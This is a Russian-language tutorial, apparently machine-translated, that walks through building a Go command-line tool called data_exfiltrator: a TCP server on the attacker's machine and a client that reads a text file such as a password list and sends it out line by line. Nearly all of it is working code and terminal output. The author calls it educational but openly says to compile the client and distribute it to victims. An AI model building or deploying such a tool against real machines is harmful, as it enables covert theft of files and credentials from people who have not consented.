Взлом и эксфильтрация текстовых файлов с помощью GoLang

Эта статья поможет вам написать программу на языке Golang, которая будет передавать файлы с удаленной машины (машины жертвы) в вашу локальную среду (машину злоумышленника).

Эта статья предназначена в основном для образовательных целей и может быть использована для небольших сценариев пен-тестирования (я использовал ее, и она действительно работает). Мы можем использовать такие инструменты, как scp и nc для передачи файловых данных, но здесь у нас есть возможность сделать то же самое нативно, используя Golang.

План действий

  1. Настройка рабочего пространства
  2. Создайте TCP-сервер, который откроет TCP-порт для передачи данных.
  3. Передайте данные, используя netcat для проверки соединения.
  4. Одновременно прослушивайте передаваемые данные.
  5. Создайте клиента, который отправляет данные на сервер.
  6. Модифицируйте клиент для чтения файла и отправки данных на сервер.
  7. Создайте приложение CLI с помощью cobra, чтобы объединить клиент и сервер в одном приложении и использовать аргументы для приема имен файлов, имени хоста или IP-адреса и порта для подключения.
  8. Сделайте его подходящим для Windows и Linux. (Для вас нужно взломать какой-нибудь читабельный файл для Windows).

Давайте начнем

Настройка рабочего пространства

Сначала мы создадим папку data_exfiltrator, в которой будет находиться наше приложение. Внутри нее мы создадим папку server, которая будет содержать файл server.go.

data_exfiltrator
└── server
    └── server.go
Вход в полноэкранный режим Выход из полноэкранного режима

TCP сервер

Теперь мы создадим простой TCP-сервер. Для этого мы используем 127.0.0.1 (localhost) и порт 8080 для привязки сервера.

package main

import "fmt"

// constant used for connections
const (
    connHost = "127.0.0.1"
    connPort = "8080"
    connType = "tcp"
)

func main() {
    fmt.Printf("Starting %s server on %s:%sn", connType, connHost, connPort)
}
Вход в полноэкранный режим Выход из полноэкранного режима

Теперь мы откроем сокет, чтобы использовать его в качестве сервера. Для этого мы попробуем использовать пакет net, изначально предоставленный нам Golang, который используется для предоставления переносимого интерфейса для сетевых соединений. С пакетом net легко начать работу.

Когда мы запускаем net.Listen(), мы хотим прослушать сеть, а когда мы запускаем net.Dial(), мы хотим установить соединение с какой-то другой программой в сети.

Для связи сервера с сервером мы используем net.Listen()
Для клиента для отправки данных мы используем net.Dial().

Сейчас для создания TCP-сервера мы будем использовать net.Listen(). Теперь код будет выглядеть следующим образом

package main

import (
    "fmt"
    "net"
)

const (
    connHost = "127.0.0.1"
    connPort = "8080"
    connType = "tcp"
)

func main() {
    fmt.Printf("Starting %s server on %s:%sn", connType, connHost, connPort)

    // starting a server
    conn, err := net.Listen(connType, connHost+":"+connPort)

    if err != nil {
        fmt.Println("Connection error", connHost+":"+connPort)
        panic(err.Error())
    }
    defer conn.Close()

    // to continuously listen to connections
    fmt.Println("Listening ...")
    for {
        client, err := conn.Accept()
        if err != nil {
            panic(err.Error())
        }
        // To print the client address and port
        fmt.Println("Client", client.RemoteAddr().String(), "connected")

        // code here for accepting the traffic
    }
}
Вход в полноэкранный режим Выйти из полноэкранного режима

Мы запускаем сервер с помощью conn, err := net.Listen(connType, connHost+": "+connPort) и используем defer в качестве лучшей практики для безопасного закрытия соединения.
Мы запускаем бесконечный цикл для прослушивания соединений и используем

client, err := conn.Accept()
Вход в полноэкранный режим Выйти из полноэкранного режима

для приема соединений. После этого мы напишем, что нужно делать с клиентом, когда соединение принято.

func main() {
    fmt.Printf("Starting %s server on %s:%sn", connType, connHost, connPort)

    // starting a server
    conn, err := net.Listen(connType, connHost+":"+connPort)

    if err != nil {
        fmt.Println("Connection error", connHost+":"+connPort)
        panic(err.Error())
    }
    defer conn.Close()

    // to continuously listen to connections
    fmt.Println("Listening ...")
    for {
        client, err := conn.Accept()
        if err != nil {
            panic(err.Error())
        }
        // To print the client address and port
        fmt.Println("Client", client.RemoteAddr().String(), "connected")

        // code here for accepting the traffic
        buffer, err := bufio.NewReader(client).ReadBytes('n')
        if err != nil {
            fmt.Println("Client left")
            client.Close()
            return
        }
        fmt.Println("Client message:", string(buffer[:]))

        // We close the client just after receiveing one message
        client.Close()
    }
}
Войти в полноэкранный режим Выход из полноэкранного режима

Мы создаем Reader, используя пакет bufio. Это создаст для нас считыватель, который будет читать байты и разграничивать их на n. Сообщение от клиента хранится в переменной buffer в виде байтов, которые мы преобразуем в строку с помощью string(buffer[:]).
Чтобы запустить и протестировать это, откройте два терминала —

# First terminal
$ go run server/server.go                                                                                                         
Starting tcp server on 127.0.0.1:8080
Listening ...
Войдите в полноэкранный режим Выйдите из полноэкранного режима

На втором терминале

$ nc localhost 8080
Войдите в полноэкранный режим Выйти из полноэкранного режима

остальное мы объясним в следующем разделе

Использование nc или netcat для передачи данных

Выполнив команду nc, вы увидите, что наш оператор print выводит данные о соединении в первом терминале.

$ go run server/server.go                                                                                                         
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:40346 connected
Вход в полноэкранный режим Выход из полноэкранного режима

Теперь во втором терминале мы можем просто отправить данные, набрав их на клавиатуре

$ nc localhost 8080
hello
Ввести полноэкранный режим Выйти из полноэкранного режима

Когда мы нажимаем клавишу Enter после ввода hello, мы видим, что то же самое появляется и на первом терминале.

$ go run server/server.go                                                                                                         
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:40984 connected
Client message: hello
Вход в полноэкранный режим Выход из полноэкранного режима

Вы увидите, что ваше соединение на терминале немедленно закрывается, потому что мы выполняем client.Close() в последней строке кода. Чтобы сделать его более интерактивным, мы теперь преобразуем этот код для приема соединений и обработки соединения в некоторых goroutine.

Создание goroutine для обработки клиентских соединений

Каждое соединение с сервером будет обрабатываться в goroutine. Это очень просто реализовать, и для этого мы создадим специальную функцию. Имя функции — handleConnection(), и эта функция будет принимать в качестве параметра клиентское соединение и выполнять поставленные задачи.

func main() {
    fmt.Printf("Starting %s server on %s:%sn", connType, connHost, connPort)

    // starting a server
    conn, err := net.Listen(connType, connHost+":"+connPort)

    if err != nil {
        fmt.Println("Connection error", connHost+":"+connPort)
        panic(err.Error())
    }
    defer conn.Close()

    // to continuously listen to connections
    fmt.Println("Listening ...")
    for {
        client, err := conn.Accept()
        if err != nil {
            panic(err.Error())
        }
        // To print the client address and port
        fmt.Println("Client", client.RemoteAddr().String(), "connected")

        // code here for accepting the traffic
        go handleConnection(client)
    }
}

// Function to handle go routine after accepting client
func handleConnection(client net.Conn) {
    for {
        buffer, err := bufio.NewReader(client).ReadBytes('n')
        if err != nil {
            fmt.Println("Client left")
            client.Close()
            return
        }
        fmt.Print("Client message:", string(buffer[:]))
    }
}
Войти в полноэкранный режим Выйти из полноэкранного режима

Оператор Client Left выполняется в функции handleConnection(), когда bufio reader не может прочитать входящие байты, и это происходит, когда клиент закрыл соединение со своей стороны. Теперь сервер не будет закрывать соединение немедленно, так как goroutine выполняет бесконечный цикл для непрерывного получения сообщений от клиента. Теперь ответственность за закрытие соединения лежит на клиенте.
Терминал 1 — Запуск сервера

$ go run server/server.go                                                                                                         
Starting tcp server on 127.0.0.1:8080
Listening ...
Вход в полноэкранный режим Выход из полноэкранного режима

Терминал 2 — Запуск клиента nc

$ nc localhost 8080
Войти в полноэкранный режим Выход из полноэкранного режима

Теперь мы будем постоянно отправлять сообщения из nc и можем видеть, как то же самое отражается в терминале 1
Терминал 2 — nc (Введите ваше сообщение и нажмите Enter для отправки сообщения)

$ nc localhost 8080
hello
how
are
you
Вход в полноэкранный режим Выход из полноэкранного режима

Терминал 1 — Ваш сервер

$ go run server/server.go                                                                                                    
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:55404 connected
Client message:hello
Client message:how
Client message:are
Client message:you
Войти в полноэкранный режим Выход из полноэкранного режима

Когда мы завершаем команду nc с помощью Ctrl+C, то получаем сообщение на сервере, что клиент вышел.

$ go run server/server.go                                                                                                    
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:55404 connected
Client message:hello
Client message:how
Client message:are
Client message:you
Client left
Вход в полноэкранный режим Выйдите из полноэкранного режима

Теперь вам не нужно перезапускать сервер для очередного подключения. Просто создайте клиент nc и начните отправлять сообщения снова.

$ go run server/server.go                                                                                                    
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:55404 connected
Client message:hello
Client message:how
Client message:are
Client message:you
Client left
Client 127.0.0.1:55832 connected
Client message:hello how are you
Вход в полноэкранный режим Выход из полноэкранного режима

Здесь мы видим, что клиент снова подключится через другой порт источника.

Создание клиента, отправляющего данные на сервер

Теперь мы избавимся от необходимости использовать nc и создадим собственный клиент для достижения той же цели.
Для этого создайте каталог client и создайте внутри него файл client.go.

package main

import (
    "bufio"
    "fmt"
    "os"
)

// there are server details to which client will connect
const (
    connHost = "127.0.0.1"
    connPort = "8080"
    connType = "tcp"
)

func main() {
    reader := bufio.NewReader(os.Stdin)
    for {
        fmt.Print("Enter text: ")
        text, _ := reader.ReadString('n')
        fmt.Printf("Your text is %s", text)
    }
}
Войдите в полноэкранный режим Выйти из полноэкранного режима

У нас есть данные сервера, которые мы вскоре будем использовать для подключения нашего клиента к серверу. Сейчас мы создали программу чтения, которая принимает входные данные из os.Stdin (вашего терминала) и распечатывает их в непрерывном цикле. Вы можете запустить эту программу через go run client/client.go, чтобы проверить, работает ли она у вас.
Теперь мы изменим функцию main для отправки текста на наш сервер, и мы уже обсуждали, что для этого нужно использовать net.Dial(). Итак, наша функция main будет выглядеть следующим образом

package main

import (
    "bufio"
    "fmt"
    "net"
    "os"
)

// there are server details to which client will connect
const (
    connHost = "127.0.0.1"
    connPort = "8080"
    connType = "tcp"
)

func main() {

    // connecting to the server
    conn, err := net.Dial(connType, connHost+":"+connPort)
    if err != nil {
        fmt.Println("Not able to connect to ", connHost, "at port", connPort)
        panic(err.Error())
    }
    defer conn.Close()

    // creating a reader
    reader := bufio.NewReader(os.Stdin)

    for {
        fmt.Print("Enter text: ")
        text, _ := reader.ReadString('n')

        // Convert the text to bytes and then write the bytes for it send to the connection.
        conn.Write([]byte(text))
    }
}
Войти в полноэкранный режим Выйти из полноэкранного режима

Мы создадим блок для подключения к серверу и создадим считыватель для чтения ввода из stdin, а затем отправим его с помощью функции conn.Write().
Для этого мы сначала запустим сервер в терминале 1 и клиента в терминале 2.
Терминал — 1

$ go run server/server.go 
Starting tcp server on 127.0.0.1:8080
Listening ...
Вход в полноэкранный режим Выход из полноэкранного режима

Терминал — 2

$ go run client/client.go                                                                                                         
Enter text:
Войти в полноэкранный режим Выход из полноэкранного режима

Введите для отправки текста
Терминал — 2 (клиент)

$ go run client/client.go                                                                                                         
Enter text: hello
Enter text: how
Enter text: are
Enter text: you
Войти в полноэкранный режим Выйти из полноэкранного режима

Терминал — 1 (сервер)

$ go run server/server.go 
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:58480 connected
Client message:hello
Client message:how
Client message:are
Client message:you
Войти в полноэкранный режим Выйти из полноэкранного режима

Модификация клиента для чтения файла

Нашей основной целью является передача текстового файла с машины жертвы на удаленную машину, поэтому логично, что наш клиент должен читать ввод из текстовых файлов, а не из os.Stdin.
Для этого мы создадим текстовый файл sample_input.txt.

password1
password2
password3
password4
Вход в полноэкранный режим Выйти из полноэкранного режима

Наша структура каталогов выглядит следующим образом

$ tree .
.
├── client
│   ├── client.go
│   └── sample_input.txt
└── server
    └── server.go
Вход в полноэкранный режим Выход из полноэкранного режима

Теперь наш client.go будет изменен для чтения данных из файла sample_input.txt.

package main

import (
    "bufio"
    "fmt"
    "net"
    "os"
)

// there are server details to which client will connect
// we add here the file name to exfiltrate
const (
    connHost = "127.0.0.1"
    connPort = "8080"
    connType = "tcp"
    fileName = "client/sample_input.txt"
)

func main() {

    // connecting to the server
    conn, err := net.Dial(connType, connHost+":"+connPort)
    if err != nil {
        fmt.Println("Not able to connect to ", connHost, "at port", connPort)
        panic(err.Error())
    }
    defer conn.Close()

    // Open the file here
    file, err := os.Open(fileName)
    defer file.Close()
    if err != nil {
        fmt.Println("Not able to read file", fileName)
        panic(err.Error())
    }

    // Create a scanner to read the open file
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {

        // We add n because scanner.Text() removes the ending newline character
        conn.Write([]byte(scanner.Text() + "n"))

    }
    fmt.Println("File transferred successfully")
}
Вход в полноэкранный режим Выйти из полноэкранного режима

Мы добавляем const для расположения файла fileName. Для открытия файла для чтения мы используем библиотеку os, а для чтения текста из файла — сканер bufio.
Проблема со сканером Scanner заключается в том, что он удаляет новую строку после чтения текста из файла. Поэтому нам нужно добавить новую строку в конце текста, который мы отправляем соединению в операторе conn.Write(). Давайте протестируем это!
Терминал -1 запустите ваш сервер в обычном режиме, так как изменений нет

$ go run server/server.go                                                                     
Starting tcp server on 127.0.0.1:8080
Listening ...
Войдите в полноэкранный режим Выйти из полноэкранного режима

Запуск вашего файла client.go для отправки данных

$ go run client/client.go
File transferred successfully
Вход в полноэкранный режим Выход из полноэкранного режима

Если мы увидим вывод в терминале 1, мы будем удивлены

$ go run server/server.go                                                                     
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:34706 connected
Client message:password1
Client left
Вход в полноэкранный режим Выход из полноэкранного режима

Мы видим, что на сервер передается только первая строка. Но почему? Что происходит с оставшейся?

Проблема заключается в скорости, с которой клиент отправляет данные, и скорости, с которой сервер готов их принять. Поскольку связь асинхронная, клиент никогда не уверен, что сервер прочитал предыдущее сообщение. Чтобы сделать работу клиента немного медленной, добавим time.Sleep(), чтобы клиент спал в течение 5 миллисекунд.
Это должно быть сделано в цикле scanner.Scan().

<...>
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {

        // We add n because scanner.Text() removes the ending newline character
        conn.Write([]byte(scanner.Text() + "n"))

        // sleeping for 5 milliseconds
        time.Sleep(5 * time.Millisecond)

    }
<...>
Вход в полноэкранный режим Выйти из полноэкранного режима

Теперь запустите client.go в терминале 2

$ go run client/client.go
File transferred successfully
Вход в полноэкранный режим Выйти из полноэкранного режима

и сервер в терминале 1

$ go run server/server.go                                                                     
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:35510 connected
Client message:password1
Client message:password2
Client message:password3
Client message:password4
Client left
Вход в полноэкранный режим Выход из полноэкранного режима

Если это все еще не дает правильного ответа, попробуйте увеличить время сна до 10, 20 или даже 50 миллисекунд. Но не является ли этот подход все еще асинхронным. Клиент все еще не знает, были ли данные прочитаны сервером или нет.

Чтобы сделать этот процесс полностью синхронизированным, мы попросим сервер ответить yes или, может быть, чем угодно, вплоть до одного символа, чтобы заявить, что он прочитал сообщение, и одновременно попросим клиента прочитать (и отправить) следующую строку только после получения этого подтверждения.

Для этого модифицируем server.go, чтобы записать ответ в функции handleConnection.

func handleConnection(client net.Conn) {
    for {
        buffer, err := bufio.NewReader(client).ReadBytes('n')
        if err != nil {
            fmt.Println("Client left")
            client.Close()
            return
        }
        fmt.Print("Client message:", string(buffer[:]))

        // send this as a response to the client
        client.Write([]byte("Y"))
    }
}
Вход в полноэкранный режим Выйти из полноэкранного режима

а в client.go для чтения ответа мы изменим цикл for функции scanner.Scan.

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {

        // We add n because scanner.Text() removes the ending newline character
        conn.Write([]byte(scanner.Text() + "n"))

        // declare a byte variable
        var b = make([]byte, 2, 3)

        // read the response here
        conn.Read(b)

    }
Вход в полноэкранный режим Выйти из полноэкранного режима

Мы объявим переменную и прочитаем ответ в этой переменной. Как только это будет сделано, мы начнем читать следующую строку.

Запуск из терминала — 2 для клиента

$ go run client/client.go
File transferred successfully
Войти в полноэкранный режим Выйти из полноэкранного режима

Из терминала — 1 для сервера

$ go run server/server.go                                                                     
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:36584 connected
Client message:password1
Client message:password2
Client message:password3
Client message:password4
Client left
Войти в полноэкранный режим Выйти из полноэкранного режима

Теперь весь наш процесс синхронный.

Если вы хотите, вы можете остановиться на этом и изменить хост и порт так, чтобы они работали для ваших нужд. Запустите сервер на локальной машине и запустите клиентскую программу на машине жертвы. Очевидно, что существует большая вероятность того, что вы не сможете запустить программу go на машине жертвы напрямую с помощью команды go, поэтому вам необходимо преобразовать ее в исполняемый файл. Для этого вы можете выполнить следующую команду —

$ cd client

$ go build client.go
Войти в полноэкранный режим Выйти из полноэкранного режима

Это позволит создать двоичный файл, который можно распространить среди жертв и передать оттуда текстовые файлы.

Если вы хотите превратить все это в полноценный инструмент, то следуйте дальше, чтобы увидеть, как мы преобразуем сервер и клиент в одно приложение и используем аргументы для хоста, порта и путей к файлам.

Использование cobra для модификации CLI.

Прежде чем погрузиться в эту тему, наша цель в этом подразделе — создать инструмент, который запускает сервер следующим образом

./data_exfiltrator server --host 192.168.56.1 --port 8080 -o output.txt
Войти в полноэкранный режим Выйти из полноэкранного режима

и для клиента для эксфильтрации password.txt.

./data_exfiltrator client --host 192.168.56.1 --port 8080 -f password.txt
Войти в полноэкранный режим Выйти из полноэкранного режима

Для этого мы будем использовать cobra, который используется во многих проектах с открытым исходным кодом, таких как kubernetes.

Для начала работы вот наша текущая папка

$ pwd
~/data_exfiltrator
Войдите в полноэкранный режим Выйти из полноэкранного режима

а структура папок следующая

$ tree .
.
├── client
│   ├── client.go
│   └── sample_input.txt
└── server
    └── server.go
Войти в полноэкранный режим Выход из полноэкранного режима

Сначала нам нужно создать модуль, что можно сделать, выполнив команду

$ go mod init example.com/data_exfiltrator
go: creating new go.mod: module example.com/data_exfiltrator
go: to add module requirements and sums:
    go mod tidy

# It will create a go.mod file                                                                                                                                        
$ ls -lrt           
total 12
drwxr-xr-x 2 kai kai 4096 Jan 21 23:51 server
drwxr-xr-x 2 kai kai 4096 Jan 23 21:29 client
-rw-r--r-- 1 kai kai   45 Jan 23 21:31 go.mod
Войти в полноэкранный режим Выйти из полноэкранного режима

Для установки cobra нам нужно установить ее модуль. Предпочтительно запустить его из каталога ~/data_exfiltrator.

$ go get -u github.com/spf13/cobra
Вход в полноэкранный режим Выйдите из полноэкранного режима

Это установит зависимость модуля в файл go.mod и файл go.sum для контрольных сумм.

Теперь нам нужно настроить нашу переменную PATH так, чтобы она принимала двоичные файлы, находящиеся по пути GOBIN. Чтобы получить GOBIN.

$ go env  | grep GOBIN                                                                                                          
Войдите в полноэкранный режим Выйти из полноэкранного режима

Если GOBIN для вас пуст, найдите GOPATH/bin и добавьте его в переменную path.
Чтобы проверить это, выполните следующие действия

$ cobra help
Войдите в полноэкранный режим Выйдите из полноэкранного режима

Если все прошло успешно, значит, cobra установлена правильно.

Теперь мы будем использовать cobra для инициализации нашего клиентского APP. Для этого нужно выполнить следующую команду

$ cobra init
Войти в полноэкранный режим Выйти из полноэкранного режима

Это инициализирует ваше приложение, и вы увидите множество созданных файлов.

$ tree .
.
├── client
│   ├── client.go
│   └── sample_input.txt
├── cmd
│   └── root.go
├── go.mod
├── go.sum
├── LICENSE
├── main.go
└── server
    └── server.go
Войти в полноэкранный режим Выйти из полноэкранного режима

Во-первых, cobra создает main.go, с которого начнется работа нашего приложения. Во-вторых, она создает файл cmd, который содержит root.go. Это файл, который будет выполняться из main.go и будет содержать то, что нам нужно сделать при запуске main.go.

Мы хотим добавить такие подкоманды, как client и server, как описано ранее. Для этого мы можем выполнить

$ cobra add client

$ cobra add server
Войти в полноэкранный режим Выйти из полноэкранного режима

Это изменит каталог cmd и добавит два дополнительных файла с именами client.go и server.go.

$ tree .
.
├── client
│   ├── client.go
│   └── sample_input.txt
├── cmd
│   ├── client.go
│   ├── root.go
│   └── server.go
├── go.mod
├── go.sum
├── LICENSE
├── main.go
└── server
    └── server.go
Вход в полноэкранный режим Выход из полноэкранного режима

Наши файлы сервера и клиента находятся в server/server.go и client/client.go, которые отличаются от server.go и client.go, созданных cobra в каталоге cmd.

Когда мы выполним go run main.go client, будет вызван cmd/client.go, а когда мы выполним go run main.go server, будет вызван cmd/server.go.

Сейчас, если мы наблюдаем, наши client/client.go и server/server.go являются частью пакета main. Мы не можем использовать main в качестве пакета для них, потому что мы не хотим создавать для них отдельные двоичные файлы, поэтому мы преобразуем client/client.go в пакет client, а для server/server.go мы будем использовать имя пакета server. Для этого просто измените имена пакетов с main на client или server соответственно.

Теперь, поскольку мы запускаем эти файлы отдельно, мы удалим функцию main и создадим для них разные функции.
Для client/client.go

package client

import (
    "bufio"
    "fmt"
    "net"
    "os"
)

const connType = "tcp"

func checkFile(file string) error {
    _, err := os.Stat(file)
    return err
    // check file permissions as well
}

func ExfiltrateFile(fileName, connHost, connPort string) error {

    // stat file
    if checkFile(fileName) != nil {
        return fmt.Errorf("FileNotFound: Not able to find the file %s", fileName)
    }

    // check connection

    fmt.Printf("Connecting %s:%s over %sn", connHost, connPort, connType)
    conn, err := net.Dial(connType, connHost+":"+connPort)
    if err != nil {
        fmt.Println(err.Error())
        return fmt.Errorf("HostNotReachable: Not able to connect %s:%s", connHost, connPort)
    }
    defer conn.Close()
    //transfer file
    file, err := os.Open(fileName)
    if err != nil {
        return fmt.Errorf("FilePermission: Not able to read file %s", fileName)
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        var b = make([]byte, 2, 3)

        // We add n because scanner.Text() removes the ending newline character
        conn.Write([]byte(scanner.Text() + "n"))

        // Wait for the server message to indicate that the line is written
        conn.Read(b)
    }
    return nil
}
Войти в полноэкранный режим Выйти из полноэкранного режима

Как мы заметили, в приведенном выше файле у нас нет функции main, скорее мы используем ExfiltrateFile как функцию, которая принимает fileName , connHost и connPort в качестве аргументов.

Теперь попробуйте понять, что мы здесь делаем. Мы будем передавать опцию от оболочки, чтобы принять имена файлов, хост и порт. Они будут переданы в root.go. root.go определит, какую подкоманду мы используем, client или server по команде, которую мы набрали. Допустим, если мы выполняем подкоманду client, то будет вызван cmd/client.go с соответствующими флагами (имена файлов, хост и порт, переданные из shell). Как только cmd/client.go получит эти флаги, она вызовет функцию ExfiltrateFile() из client/client.go и передаст эти флаги в качестве аргументов. Функция ExfiltrateFile() запустит логику клиента, которую мы построили ранее.

Это также относится к server/server.go.

package server

import (
    "bufio"
    "fmt"
    "net"
    "os"
)

const (
    connType = "tcp"
)

func Serve(fileName, connHost, connPort string) error {

    fmt.Printf("Starting %s server on %s:%sn", connType, connHost, connPort)
    conn, err := net.Listen(connType, connHost+":"+connPort)
    if err != nil {
        return fmt.Errorf("ConnectionError: Not able to connect %s", connHost+":"+connPort)
    }
    defer conn.Close()

    // running the loop for listening all the connections
    fmt.Println("Listening ... ")
    for {
        // Start accepting the connections
        client, err := conn.Accept()
        if err != nil {
            panic(err.Error())
        }
        fmt.Println("Client", client.RemoteAddr().String(), "connected")
        go handleClientConnection(client, fileName)
        fmt.Println("You can press Ctrl+c to terminate the program")
    }
}

func handleClientConnection(conn net.Conn, fileName string) {
    // handling buffer writes
    // it take the connection and then creates the buffer
    file, err := os.Create(fileName)
    if err != nil {
        panic(err)
    }
    defer close(file)
    for {
        buffer, err := bufio.NewReader(conn).ReadBytes('n')
        if err != nil {
            fmt.Println("Client left")
            conn.Close()
            return
        }
        file.WriteString(string(buffer[:]))

        // Sending a reply back to client for synchronous connection
        conn.Write([]byte("Yn"))
    }

}
func close(file *os.File) {
    fmt.Println("Closing the file")
    fmt.Println()
    fmt.Println("Listening ... (press Ctrl+c to terminate)")
    file.Close()
}
Вход в полноэкранный режим Выйти из полноэкранного режима

Здесь мы используем функцию Serve для запуска TCP-сервера, принимая в качестве параметров имя файла, хост и порт.

Если мы внимательно посмотрим на функцию handleConnection, то теперь мы выводим все в файл, а не на консоль. Это имя файла получается из опции --output или -o в файле cmd/server.go.

Теперь наша клиентская и серверная логика готова к использованию. Нам просто нужно изменить cmd/client.go и cmd/server.go, чтобы передать флаги client и server соответственно.
Итак, cmd/client.go это

package cmd

import (
    "log"

    "github.com/dunefro/data_exfiltrator/client"
    "github.com/spf13/cobra"
)

// clientCmd represents the client command
var clientCmd = &cobra.Command{
    Use:   "client",
    Short: "to run the client",
    Long:  `Running the client for data exfiltrator`,
    Run: func(cmd *cobra.Command, args []string) {

        fileName, _ := cmd.Flags().GetString("file")
        host, _ := cmd.Flags().GetString("host")
        port, _ := cmd.Flags().GetString("port")

        err := client.ExfiltrateFile(fileName, host, port)
        if err != nil {
            log.Println("Failed to transfer the file")
            log.Fatal(err.Error())
        } else {
            log.Println("Successful: File was transferred")
        }

    },
}

func init() {
    rootCmd.AddCommand(clientCmd)

    // defining flags for client
    clientCmd.PersistentFlags().StringP("file", "f", "", "file(text) name which you want to transfer (required)")
    clientCmd.MarkPersistentFlagRequired("file")
    clientCmd.PersistentFlags().StringP("host", "", "127.0.0.1", "host that you wish to connect")
    clientCmd.PersistentFlags().StringP("port", "p", "8080", "port that you wish to connect")

}
Войти в полноэкранный режим Выйти из полноэкранного режима

В функции init() у нас есть флаги, которые доступны с подкомандой client. Это file, host и port, которые могут быть вызваны с помощью -- для аргументов оболочки. В подкоманде client мы отметили только одну из опций как обязательную, а именно file. Логично, что клиент должен передать некоторый файл для эксфильтрации. Если host и port не указаны, то мы будем использовать значения по умолчанию 127.0.0.1 и 8080. Это указано в 3-м аргументе каждого флага. Мы можем использовать небольшую опцию p для порта как -p.

После инициализации функция в Run будет выполнена, и мы можем получить все значения, переданные для каждого аргумента в вызванной команде, используя cmd.Flags(). Итак,

fileName, _ := cmd.Flags().GetString("file")
host, _ := cmd.Flags().GetString("host")
port, _ := cmd.Flags().GetString("port")
Войти в полноэкранный режим Выйти из полноэкранного режима

Это дает значения fileName, host и port, переданные в команде. Получив их, мы вызываем функцию ExfiltrateFile() из client/client.go, которую мы импортировали в cmd/client.go командой

"example.com/data_exfiltrator/client"
Войти в полноэкранный режим Выйти из полноэкранного режима

и поэтому теперь вызываем функцию exfiltrate

client.ExfiltrateFile(fileName, host, port)
Войти в полноэкранный режим Выйти из полноэкранного режима

Это происходит и для server.go.

package cmd

import (
    "fmt"

    "example.com/data_exfiltrator/server"
    "github.com/spf13/cobra"
)

// serverCmd represents the server command
var serverCmd = &cobra.Command{
    Use:   "server",
    Short: "creating server",
    Long:  `This will create a server at a specified port for connection and output to directed file`,
    Run: func(cmd *cobra.Command, args []string) {
        fileName, _ := cmd.Flags().GetString("output")
        host, _ := cmd.Flags().GetString("host")
        port, _ := cmd.Flags().GetString("port")

        err := server.Serve(fileName, host, port)
        if err != nil {
            fmt.Println(err.Error())
        }
    },
}

func init() {
    rootCmd.AddCommand(serverCmd)

    // defining flags
    serverCmd.PersistentFlags().StringP("output", "o", "", "output(text file) to transfer the data (required)")
    serverCmd.MarkPersistentFlagRequired("output")
    serverCmd.PersistentFlags().StringP("host", "", "127.0.0.1", "host that you wish to connect")
    serverCmd.PersistentFlags().StringP("port", "p", "8080", "port that you wish to connect")
}

Вход в полноэкранный режим Выйти из полноэкранного режима

Для подкоманды serve мы используем output в качестве опции для вывода того, что мы получаем от клиента. Это обязательная опция, которая должна быть передана при вызове подкоманды server. У нас есть host и port, аналогично подкоманде client. Мы вызываем функцию сервера по —

server.Serve(fileName, host, port)
Войти в полноэкранный режим Выйти из полноэкранного режима

и передаем выходной файл, хост и порт.

Наконец, root.go будет иметь вид

package cmd

import (
    "os"

    "github.com/spf13/cobra"
)

// rootCmd represents the base command when called without any subcommands
var rootCmd = &cobra.Command{
    Use:   "data_exfiltrator [command]",
    Short: "Exfiltrate your files from one location to another",
    Long:  `Application to build data exfiltrator`,
    // Uncomment the following line if your bare application
    // has an action associated with it:
    // Run: func(cmd *cobra.Command, args []string) { },
}

// Execute adds all child commands to the root command and sets flags appropriately.
// This is called by main.main(). It only needs to happen once to the rootCmd.
func Execute() {
    err := rootCmd.Execute()
    if err != nil {
        os.Exit(1)
    }
}

func init() {
    // Here you will define your flags and configuration settings.
    // Cobra supports persistent flags, which, if defined here,
    // will be global for your application.

    // rootCmd.PersistentFlags().StringVar(&cfgFile, "config", "", "config file (default is $HOME/.data_exfiltrator.yaml)")

    // Cobra also supports local flags, which will only run
    // when this action is called directly.
    // rootCmd.Flags().BoolP("toggle", "t", false, "Help message for toggle")
    // Add version here
}
Войти в полноэкранный режим Выйти из полноэкранного режима

Для root.go мы запретили флагу Run держать любую функцию. Это потому, что мы не хотим ничего делать, пока не будет передана подкоманда, например client или server.

Итак, теперь мы соберем все и протестируем. Для сборки

$ go build
Войдите в полноэкранный режим Выйдите из полноэкранного режима

Это создаст бинарник под названием data_exfiltrator. Запустите этот бинарник простым способом

$ ./data_exfiltrator                                               
Application to build data exfiltrator

Usage:
  data_exfiltrator [command]

Available Commands:
  client      to run the client
  completion  Generate the autocompletion script for the specified shell
  help        Help about any command
  server      creating server

Flags:
  -h, --help   help for data_exfiltrator

Use "data_exfiltrator [command] --help" for more information about a command.
Войти в полноэкранный режим Выйти из полноэкранного режима

Попробуем запустить сервер

$ ./data_exfiltrator server -o something.txt  --host 192.168.56.178 --port 8080
Starting tcp server on 192.168.56.178:8080
Listening ...
Войти в полноэкранный режим Выход из полноэкранного режима

Теперь попробуем запустить клиент

$ ./data_exfiltrator client
Error: required flag(s) "file" not set
Usage:
  data_exfiltrator client [flags]

Flags:
  -f, --file string   file(text) name which you want to transfer (required)
  -h, --help          help for client
      --host string   host that you wish to connect (default "127.0.0.1")
  -p, --port string   port that you wish to connect (default "8080")
Вход в полноэкранный режим Выйти из полноэкранного режима

Это не удастся, поскольку, как мы уже говорили, для этого нам нужно передать опцию --file, поэтому

$ ./data_exfiltrator client -f client/sample_input.txt --host 192.168.56.178 --port 8080
Connecting 192.168.56.178:8080 over tcp
2022/01/23 22:43:27 Successful: File was transferred
Войти в полноэкранный режим Выйти из полноэкранного режима

В терминале 1, где запущен сервер, теперь отображается

$ ./data_exfiltrator server -o something.txt  --host 192.168.56.178 --port 8080
Starting tcp server on 192.168.56.178:8080
Listening ... 
Client 192.168.56.178:34154 connected
You can press Ctrl+c to terminate the program
Client left
Closing the file

Listening ... (press Ctrl+c to terminate)
Войти в полноэкранный режим Выйти из полноэкранного режима

